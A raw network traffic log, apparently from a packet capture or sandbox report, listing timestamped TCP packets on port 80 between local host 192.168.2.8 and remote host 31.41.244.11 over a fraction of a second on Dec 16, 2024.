Dec 16, 2024 17:02:12.565958977 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.566303015 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.566350937 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.567186117 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.567200899 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.567239046 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.567257881 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.568216085 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.568232059 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.568270922 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.568288088 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.569220066 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.569269896 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.569397926 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.569442987 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.570266962 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.570281982 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.570311069 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.570328951 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.571294069 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.571341038 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.571455956 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.571492910 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.572444916 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.572464943 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.572490931 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.572505951 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.573633909 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.573654890 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.573683023 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.573698997 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.574636936 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.574686050 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.708868980 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.708981037 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.709018946 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.709069014 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.709822893 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.709907055 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.709978104 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.710031986 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.710623026 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.710639954 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.710675955 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.711607933 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.711657047 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.711755037 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.711802006 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.712730885 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.712747097 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.712781906 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.712802887 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.713711977 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.713756084 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.713891983 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.713934898 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.714823961 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.714870930 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.715009928 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.715054989 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.715996027 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.716043949 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.716177940 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.716227055 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.717145920 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.717161894 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.717190981 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.717206001 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.718102932 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.718153000 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.718286991 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.718333006 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.719449043 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.719495058 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.719619036 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.719661951 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.720333099 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.720376968 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.720509052 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.720551968 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.721529007 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.721574068 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.721704960 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.721749067 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.722544909 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.722560883 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.722588062 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.722604990 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.723469019 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.723515987 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.723781109 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.723826885 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.724507093 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.724550962 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.724823952 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.724869967 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.725620985 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.725667000 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.725805998 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.725850105 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.727730036 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.727746010 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.727763891 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.727776051 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.727791071 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.727813959 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.728208065 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.728250980 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.728876114 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.728892088 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.728920937 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.728939056 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.730030060 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.730077028 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.730173111 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.730218887 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.731000900 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.731051922 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.731165886 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.731211901 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.732079029 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.732124090 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.732218027 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.732264042 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.733194113 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.733239889 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.733390093 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.733433008 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.734307051 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.734322071 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.734361887 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.735384941 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.735433102 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.735677004 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.735722065 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.736231089 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.736275911 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.736834049 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.736881018 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.739412069 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.739435911 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.739475965 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.739475965 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.740040064 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.740061045 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.740070105 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.740150928 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.740222931 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.740287066 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.741125107 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.741166115 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.741311073 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.741358042 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.741803885 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.741848946 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.741981983 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.742028952 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.742969990 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.742990017 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.743016005 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.743029118 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.743993998 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.744045019 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.744159937 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.744211912 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.745095015 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.745147943 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.745248079 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.745294094 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.745954990 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.746058941 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.746282101 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.746335030 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.747261047 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.747307062 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.747611046 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.747656107 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.748338938 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.748354912 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.748388052 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.748399973 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.749313116 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.749360085 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.749490976 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.749535084 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.750447035 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.750462055 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.750494957 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.750518084 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.751703024 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.751718998 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.751754999 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.751770973 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.752686977 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.752702951 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.752737999 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.752752066 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.753648043 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.753701925 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.753823996 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.753871918 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.754730940 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.754784107 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.754990101 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.755038977 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.755826950 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.755844116 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.755872965 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.755892038 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.756911039 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.756927013 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.756962061 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.756980896 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.758035898 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.758054972 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.758096933 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.758114100 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.759391069 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.759407997 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.759538889 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.760221004 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.760277033 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.760411978 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.760457039 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.761171103 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.761219978 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.761334896 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.761382103 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.762337923 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.762394905 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.762653112 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.762706041 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.763504028 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.763529062 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.763557911 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.763572931 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.764427900 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.764480114 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.764607906 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.764657021 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.765399933 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.765456915 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.900964975 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.900988102 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.901043892 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.901072025 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.901365042 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.901381969 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.901411057 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.901432991 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.902452946 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.902517080 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.902525902 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.902642012 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.903398037 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.903450012 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.903552055 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.903597116 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.904480934 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.904524088 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.904676914 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.904721022 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.905405045 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.905462027 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.905596018 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.905646086 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.906533957 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.906590939 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.906640053 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.906687021 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.907737017 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.907788992 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.907824039 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.907865047 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.908834934 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.908883095 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.908917904 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.908994913 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.910104036 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.910120964 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.910151005 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.910176992 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.910962105 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.911019087 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.911027908 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.911075115 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.911984921 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.912043095 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.912272930 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.912321091 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.913054943 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.913109064 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.913141966 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.913186073 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.914084911 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.914129019 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.914376020 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.914423943 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.915137053 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.915180922 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.915211916 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.915343046 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.916250944 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.916297913 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.916332006 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.916374922 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.917395115 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.917443037 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.917862892 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.917915106 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.918560982 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.918616056 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.919002056 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.919050932 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.919796944 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.919812918 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.919845104 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.919863939 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.920679092 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.920722961 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.920795918 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.920840979 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.921693087 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.921741962 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.921852112 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.921892881 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.922736883 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.922776937 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.922907114 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.922954082 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.923851013 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.923911095 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.923981905 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.924030066 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.924899101 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.924954891 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.924958944 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.925007105 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:12.925971031 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:12.926019907 CET	49708	80	192.168.2.8	31.41.244.11
